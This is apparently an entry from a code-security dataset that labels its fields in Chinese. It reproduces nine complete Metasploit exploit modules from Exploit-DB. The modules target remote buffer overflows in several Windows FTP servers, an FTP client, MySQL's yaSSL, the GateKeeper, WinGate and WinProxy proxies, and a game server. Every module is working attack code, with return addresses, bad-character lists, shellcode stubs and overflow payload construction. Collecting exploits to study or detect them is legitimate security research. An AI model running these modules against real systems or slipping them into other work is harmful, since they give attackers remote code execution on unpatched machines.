QLWD/code_shield huggingface dataset:
标题: GlobalScape Secure FTP Server - Input Overflow (Metasploit) EDB-ID: 16703 CVE: 2005-1415 类型: REMOTE 平台: WINDOWS 发布日期: 2010-10-05 漏洞利用脚本: ##
# $Id: globalscapeftp_input.rb 10559 2010-10-05 23:41:17Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::Ftp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'GlobalSCAPE Secure FTP Server Input Overflow',
   'Description'    => %q{
     This module exploits a buffer overflow in the GlobalSCAPE Secure FTP Server.
    All versions prior to 3.0.3 are affected by this flaw. A valid user account (
    or anonymous access) is required for this exploit to work.
   },
   'Author'         => [ 'Fairuzan Roslan <riaf [at] mysec.org>', 'Mati Aharoni <mati [at] see-security.com>' ],
   'License'        => BSD_LICENSE,
   'Version'        => '$Revision: 10559 $',
   'References'     =>
    [
     [ 'CVE', '2005-1415'],
     [ 'OSVDB', '16049'],
     [ 'BID', '13454'],
     [ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2005-04/0674.html'],
    ],
   'Privileged'     => false,
   'Payload'        =>
    {
     'Space'    => 1000,
     'BadChars' => "\x00\x20" + (0x61..0x7a).to_a.pack('C*'),
     'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
    },
   'Platform'       => [ 'win' ],
   'Targets'        =>
    [
     [
      'GlobalSCAPE Secure FTP Server <= 3.0.2 Universal',
      {
       'Ret'      => 0x1002f01f,
      },
     ],
    ],
   'DisclosureDate' => 'May 1 2005',
   'DefaultTarget' => 0))
 end

 def exploit
  connect_login

  buf           = make_nops(3047)
  buf[2043, 4]  = [ target.ret ].pack('V')
  buf[2047, payload.encoded.length] = payload.encoded

  send_cmd( [buf] )

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16703
标题: War-FTPD 1.65 - Password Overflow (Metasploit) EDB-ID: 16706 CVE: 1999-0256 类型: REMOTE 平台: WINDOWS 发布日期: 2010-07-03 漏洞利用脚本: ##
# $Id: warftpd_165_pass.rb 9669 2010-07-03 03:13:45Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Ftp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'War-FTPD 1.65 Password Overflow',
   'Description'    => %q{
     This exploits the buffer overflow found in the PASS command
    in War-FTPD 1.65. This particular module will only work
    reliably against Windows 2000 targets. The server must be
    configured to allow anonymous logins for this exploit to
    succeed. A failed attempt will bring down the service
    completely.
   },
   'Author'         => 'hdm',
   'License'        => BSD_LICENSE,
   'Version'        => '$Revision: 9669 $',
   'References'     =>
    [
     [ 'CVE', '1999-0256'],
     [ 'OSVDB', '875'    ],
     [ 'BID', '10078' ],
     [ 'URL', 'http://lists.insecure.org/lists/bugtraq/1998/Feb/0014.html' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process'
    },
   'Payload'        =>
    {
     'Space'    => 424,
     'BadChars' => "\x00\x0a\x0d\x40",
     'StackAdjustment' => -3500,
     'Compat'   =>
      {
       'ConnectionType' => "-find"
      }
    },
   'Targets'        =>
    [
     # Target 0
     [
      'Windows 2000',
      {
       'Platform' => 'win',
       'Ret'      => 0x5f4e772b # jmp ebx in the included MFC42.DLL
      },
     ],
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Mar 19 1998'))
 end

 def exploit
  connect

  print_status("Trying target #{target.name}...")

  buf          = make_nops(566) + payload.encoded
  buf[558, 2]  = "\xeb\x06"
  buf[562, 4]  = [ target.ret ].pack('V')

  # Send USER Command
  send_user(datastore['FTPUSER'])

  # Send PASS Command
  send_cmd(['PASS', buf], false)

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16706
标题: Trellian FTP Client 3.01 - PASV Remote Buffer Overflow (Metasploit) EDB-ID: 16710 CVE: 2010-1465 类型: REMOTE 平台: WINDOWS 发布日期: 2010-06-15 漏洞利用脚本: ##
# $Id: trellian_client_pasv.rb 9525 2010-06-15 07:18:08Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::TcpServer

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Trellian FTP Client 3.01 PASV Remote Buffer Overflow',
   'Description'    => %q{
     This module exploits a buffer overflow in the Trellian 3.01 FTP client that is triggered
    through an excessively long PASV message.
   },
   'Author'   =>
    [
     'zombiefx',  # Original exploit author
     'dookie'     # MSF module author
    ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9525 $',
   'References'     =>
    [
     [ 'CVE', '2010-1465'],
     [ 'OSVDB', '63812'],
     [ 'URL', 'http://www.exploit-db.com/exploits/12152' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'seh',
    },
   'Payload'        =>
    {
     'Space'    => 900,
     'BadChars' => "\x00\x29\x2c\x2e",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows XP Universal', { 'Ret' => "\xfd\x21\x40" } ], # 0x004021fd  p/p/r in ftp.exe
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Apr 11 2010',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptPort.new('SRVPORT', [ true, "The FTP port to listen on", 21 ]),
   ], self.class)
 end

 def on_client_connect(client)
  return if ((p = regenerate_payload(client)) == nil)

  # Let the client log in
  client.get_once

  user = "331 Please specify the password.\r\n"
  client.put(user)

  client.get_once
  pass = "230 Login successful.\r\n"
  client.put(pass)

  # Handle the clients PWD command
  client.get_once
  pwd = "257 \"/\" is current directory.\r\n"
  client.put(pwd)
  client.get_once

  sploit = "227 Entering Passive Mode ("
  sploit << rand_text_alpha_upper(2171)
  sploit << make_nops(100)
  sploit << payload.encoded
  sploit << make_nops(900 - (payload.encoded.length))
  sploit << "\xe9\x18\xfc\xff\xff"  # Jump back 1000 bytes
  sploit << "\xeb\xf9\x90\x90"      # Jump back 7 bytes
  sploit << [target.ret].pack("A3")
  sploit << ")\r\n"

  client.put(sploit)

 end

end URL: https://www.exploit-db.com/exploits/16710
标题: KarjaSoft Sami FTP Server 2.0.2 - USER Remote Buffer Overflow (Metasploit) EDB-ID: 16702 CVE: 2006-2212 2006-0441 类型: REMOTE 平台: WINDOWS 发布日期: 2010-04-30 漏洞利用脚本: ##
# $Id: sami_ftpd_user.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'  => 'KarjaSoft Sami FTP Server v2.02 USER Overflow',
   'Description' => %q{
     This module exploits the KarjaSoft Sami FTP Server version 2.02
    by sending an excessively long USER string. The stack is overwritten
    when the administrator attempts to view the FTP logs. Therefore, this exploit
    is passive and requires end-user interaction. Keep this in mind when selecting
    payloads. When the server is restarted, it will re-execute the exploit until
    the logfile is manually deleted via the file system.
   },
   'Author' => [ 'patrick' ],
   'Arch'  => [ ARCH_X86 ],
   'License' => MSF_LICENSE,
   'Version' => '$Revision: 9179 $',
   'Stance' => Msf::Exploit::Stance::Passive,
   'References' =>
    [
     # This exploit appears to have been reported multiple times.
     [ 'CVE', '2006-0441'],
     [ 'CVE', '2006-2212'],
     [ 'OSVDB', '25670'],
     [ 'BID', '16370'],
     [ 'BID', '22045'],
     [ 'BID', '17835'],
     [ 'URL', 'http://www.milw0rm.com/exploits/1448'],
     [ 'URL', 'http://www.milw0rm.com/exploits/1452'],
     [ 'URL', 'http://www.milw0rm.com/exploits/1462'],
     [ 'URL', 'http://www.milw0rm.com/exploits/3127'],
     [ 'URL', 'http://www.milw0rm.com/exploits/3140'],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'seh',
    },
   'Platform'  => ['win'],
   'Privileged' => false,
   'Payload' =>
    {
     'Space'   => 300,
     'BadChars'  => "\x00\x0a\x0d\x20\xff",
     'StackAdjustment' => -3500,
    },
   'Targets'  =>
    [
     [ 'Windows 2000 Pro All - English', { 'Ret' => 0x75022ac4 } ], # p/p/r ws2help.dll
     [ 'Windows 2000 Pro All - Italian', { 'Ret' => 0x74fd11a9 } ], # p/p/r ws2help.dll
     [ 'Windows 2000 Pro All - French',  { 'Ret' => 0x74fa12bc } ], # p/p/r ws2help.dll
     [ 'Windows XP SP0/1 - English',     { 'Ret' => 0x71aa32ad } ], # p/p/r ws2help.dll
    ],
   'DisclosureDate' => 'Jan 24 2006'))

  register_options(
   [
    Opt::RPORT(21),
   ], self.class)
 end

 def check
  connect
  banner = sock.get(-1,3)
  disconnect

  if (banner =~ /Sami FTP Server 2.0.2/)
   return Exploit::CheckCode::Vulnerable
  end
  return Exploit::CheckCode::Safe
 end

 def exploit
  connect

  sploit = Rex::Text.rand_text_alphanumeric(596) + generate_seh_payload(target.ret)

  login = "USER #{sploit}\r\n"
  login << "PASS " + Rex::Text.rand_char(payload_badchars)

  sock.put(login + "\r\n")

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16702
标题: MySQL yaSSL (Windows) - SSL Hello Message Buffer Overflow (Metasploit) EDB-ID: 16701 CVE: 2008-0226 类型: REMOTE 平台: WINDOWS 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: mysql_yassl_hello.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'MySQL yaSSL SSL Hello Message Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in the yaSSL (1.7.5 and earlier)
    implementation bundled with MySQL <= 6.0. By sending a specially crafted
    Hello packet, an attacker may be able to execute arbitrary code.
   },
   'Author'         => [ 'MC' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     [ 'CVE', '2008-0226' ],
     [ 'OSVDB', '41195'],
     [ 'BID', '27140' ],
    ],
   'Privileged'     => true,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Payload'        =>
    {
     'Space'    => 600,
     'BadChars' => "\x00\x20\x0a\x0d\x2f\x2b\x0b\x5c",
     'StackAdjustment' => -3500,
     'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'MySQL 5.0.45-community-nt',    { 'Ret' => 0x008b9d45 } ],
     [ 'MySQL 5.1.22-rc-community',    { 'Ret' => 0x008b04c9 } ],
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Jan 4 2008'))

  register_options([ Opt::RPORT(3306) ], self)
 end

 def exploit
  connect

  sock.get_once

  req_uno =  [0x01000020].pack('V')

  req_dos =  [0x00008daa].pack('V') + [0x40000000].pack('V')
  req_dos << [0x00000008].pack('V') + [0x00000000].pack('V')
  req_dos << [0x00000000].pack('V') + [0x00000000].pack('V')
  req_dos << [0x00000000].pack('V') + [0x00000000].pack('V')
  req_dos << [0x03010000].pack('V') + [0x00000001].pack('V')
  req_dos << "\x00\x0F\xFF" + rand_text_alphanumeric(3917 - payload.encoded.length)
  req_dos << make_nops(100) + payload.encoded + [target.ret].pack('V')
  req_dos << make_nops(16) + [0xe8, -650].pack('CV') + rand_text_alphanumeric(1024)

  print_status("Trying target #{target.name}...")

  sock.put(req_uno)
  sock.put(req_dos)

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16701
标题: Proxy-Pro Professional GateKeeper 4.7 - GET Overflow (Metasploit) EDB-ID: 16692 CVE: 2004-0326 类型: REMOTE 平台: WINDOWS 发布日期: 2010-09-20 漏洞利用脚本: ##
# $Id: proxypro_http_get.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Proxy-Pro Professional GateKeeper 4.7 GET Request Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in Proxy-Pro Professional
    GateKeeper 4.7. By sending a long HTTP GET to the default port
    of 3128, a remote attacker could overflow a buffer and execute
    arbitrary code.
   },
   'Author'         => 'MC',
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 10394 $',
   'References'     =>
    [
     ['CVE', '2004-0326'],
     ['OSVDB', '4027'],
     ['BID', '9716'],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'    => 500,
     'BadChars' => "\x00+&=%\x0a\x0d\x20",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Proxy-Pro GateKeeper 4.7', { 'Ret' => 0x03b1e121 } ], # GKService.exe
    ],
   'Privileged'     => true,
   'DisclosureDate' => 'Feb 23 2004',
   'DefaultTarget' => 0))

  register_options(
   [
    Opt::RPORT(3128)
   ], self.class)
 end

 def exploit
  connect

  print_status("Trying target #{target.name}...")

  sploit  = "GET /" + rand_text_english(3603, payload_badchars)
  sploit += payload.encoded + [target.ret].pack('V') + make_nops(10)
  sploit += "\xe9" + [-497].pack('V') +  " HTTP/1.0" + "\r\n\r\n"

  sock.put(sploit)
  sock.get_once(-1, 3)

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16692
标题: QBik WinGate WWW Proxy Server - URL Processing Overflow (Metasploit) EDB-ID: 16690 CVE: 2006-2926 类型: REMOTE 平台: WINDOWS 发布日期: 2010-09-20 漏洞利用脚本: ##
# $Id: qbik_wingate_wwwproxy.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Qbik WinGate WWW Proxy Server URL Processing Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in Qbik WinGate version
    6.1.1.1077 and earlier. By sending malformed HTTP POST URL to the
    HTTP proxy service on port 80, a remote attacker could overflow
    a buffer and execute arbitrary code.
   },
   'Author'         => 'patrick',
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 10394 $',
   'References'     =>
    [
     [ 'CVE', '2006-2926' ],
     [ 'OSVDB', '26214' ],
     [ 'BID', '18312' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'    => 1000,
     'BadChars' => "\x00\x0a\x0d\x20+&=%\/\\\#;\"\':<>?",
     'EncoderType'   => Msf::Encoder::Type::AlphanumMixed,
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'WinGate 6.1.1.1077', { 'Ret' => 0x01991932 } ], # call esi
    ],
   'Privileged'     => true,
   'DisclosureDate' => 'Jun 07 2006',
   'DefaultTarget' => 0))

  register_options(
   [
    Opt::RPORT(80)
   ], self.class)
 end

 def check
  connect
  sock.put("GET /\r\n\r\n") # Malformed request to get proxy info
  banner = sock.get_once
  if (banner =~ /Server:\sWinGate\s6.1.1\s\(Build 1077\)/)
   return Exploit::CheckCode::Vulnerable
  end
  return Exploit::CheckCode::Safe
 end

 def exploit
  connect

  print_status("Trying target #{target.name}...")

  buff = Rex::Text.rand_text_alphanumeric(3000)
  buff[1200, 1000] = payload.encoded # jmp here
  buff[2200, 5] = Rex::Arch::X86.jmp(-1005) # esi
  buff[2284, 4] = [target['Ret']].pack('V') #eip

  sploit  = "POST http://#{buff}/ HTTP/1.0\r\n\r\n"

  sock.put(sploit)
  sock.get_once(-1, 3)

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16690
标题: Blue Coat WinProxy - Host Header Overflow (Metasploit) EDB-ID: 16691 CVE: 2005-4085 类型: REMOTE 平台: WINDOWS 发布日期: 2010-07-12 漏洞利用脚本: ##
# $Id: bluecoat_winproxy_host.rb 9797 2010-07-12 23:25:31Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 HttpFingerprint = { :method => 'HEAD', :pattern => [ /BlueCoat/ ] }

 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Blue Coat WinProxy Host Header Overflow',
   'Description'    => %q{
     This module exploits a buffer overflow in the Blue Coat Systems WinProxy
    service by sending a long port value for the Host header in a HTTP
    request.
   },
   'Author'         => 'MC',
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9797 $',
   'References'     =>
    [
     ['CVE', '2005-4085'],
     ['OSVDB', '22238'],
     ['BID', '16147'],
     ['URL', 'http://www.bluecoat.com/support/knowledge/advisory_host_header_stack_overflow.html'],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Payload'        =>
    {
     'Space'    => 600,
     'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'WinProxy <= 6.1 R1a Universal', { 'Ret' => 0x6020ba04 } ], # Asmdat.dll
    ],
   'Privileged'     => true,
   'DisclosureDate' => 'Jan 5 2005',
   'DefaultTarget' => 0))

  register_options(
   [
    Opt::RPORT(80)
   ], self.class)

 end

 def exploit
  connect

  print_status("Trying target #{target.name}...")

  sploit  = "GET / HTTP/1.1" + "\r\n"
  sploit += "Host: 127.0.0.1:"
  sploit += rand_text_english(31, payload_badchars)
  seh  = generate_seh_payload(target.ret)
  sploit[23, seh.length] = seh
  sploit += "\r\n\r\n"

  sock.put(sploit)
  sock.get_once(-1, 3)

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16691
标题: Medal of Honor Allied Assault - getinfo Stack Buffer Overflow (Metasploit) EDB-ID: 16695 CVE: 2004-0735 类型: REMOTE 平台: WINDOWS 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: mohaa_getinfo.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::Udp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Medal Of Honor Allied Assault getinfo Stack Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack based buffer overflow in the getinfo
    command of Medal Of Honor Allied Assault.
   },
   'Author'         => [ 'Jacopo Cervini' ],
   'License'        => BSD_LICENSE,
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     [ 'CVE', '2004-0735'],
     [ 'OSVDB', '8061' ],
     [ 'URL', 'http://www.milw0rm.com/exploits/357'],
     [ 'BID', '10743'],
    ],
   'Privileged'     => false,
   'Payload'        =>
    {
     'Space'    => 512,
     'BadChars' => "\x00",
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     ['Medal Of Honor Allied Assault v 1.0 Universal', { 'Rets' => [ 111, 0x406957 ] }], # call ebx
    ],
   'DisclosureDate' => 'Jul 17 2004',
   'DefaultTarget' => 0))

  register_options(
   [
    Opt::RPORT(12203)
   ], self.class)
 end

 def exploit
  connect_udp

  # We should convert this to metasm - Patrick
  buf = 'B' * target['Rets'][0]
  buf << "\x68\x76\x76\x76\x76"*9    # PUSH 76767676 x 9
  buf << "\x68\x7f\x7f\x7f\x7f"      # PUSH 7F7F7F7F
  buf << "\x57"        # PUSH EDI
  buf << "\x58"        # POP EAX
  buf << "\x32\x64\x24\x24"      # XOR AH,BYTE PTR SS:[ESP+24]
  buf << "\x32\x24\x24"       # XOR AH,BYTE PTR SS:[ESP]
  buf << "\x48"*150        # DEC EAX x 150
  buf << "\x50\x50"        # PUSH EAX x 2
  buf << "\x53"    # PUSH EBX
  buf << "\x58"    # POP EAX
  buf << "\x51"    # PUSH ECX
  buf << "\x32\x24\x24"   # XOR AH,BYTE PTR SS:[ESP]
  buf << "\x6a\x7f"    # PUSH 7F
  buf << "\x5e"    # POP ESI
  buf << "\x46"*37    # INC ESI
  buf << "\x56"*10    # PUSH ESI
  buf << "\x32\x44\x24\x24"  # XOR AL,BYTE PTR SS:[ESP+24]
  buf << "\x49\x49"    # DEC ECX
  buf << "\x31\x48\x34"   # XOR DWORD PTR DS:[EAX+34],ECX
  buf << "\x58"*11    # POP EAX
  buf << "\x42"*66
  buf << "\x3c"*4
  buf << "\x42"*48
  buf << [ target['Rets'][1] ].pack('V')

  req = "\xff\xff\xff\xff\x02" + "getinfo " + buf
  req << "\r\n\r\n" + make_nops(32) + payload.encoded

  udp_sock.put(req)

  handler
  disconnect_udp
 end

end URL: https://www.exploit-db.com/exploits/16695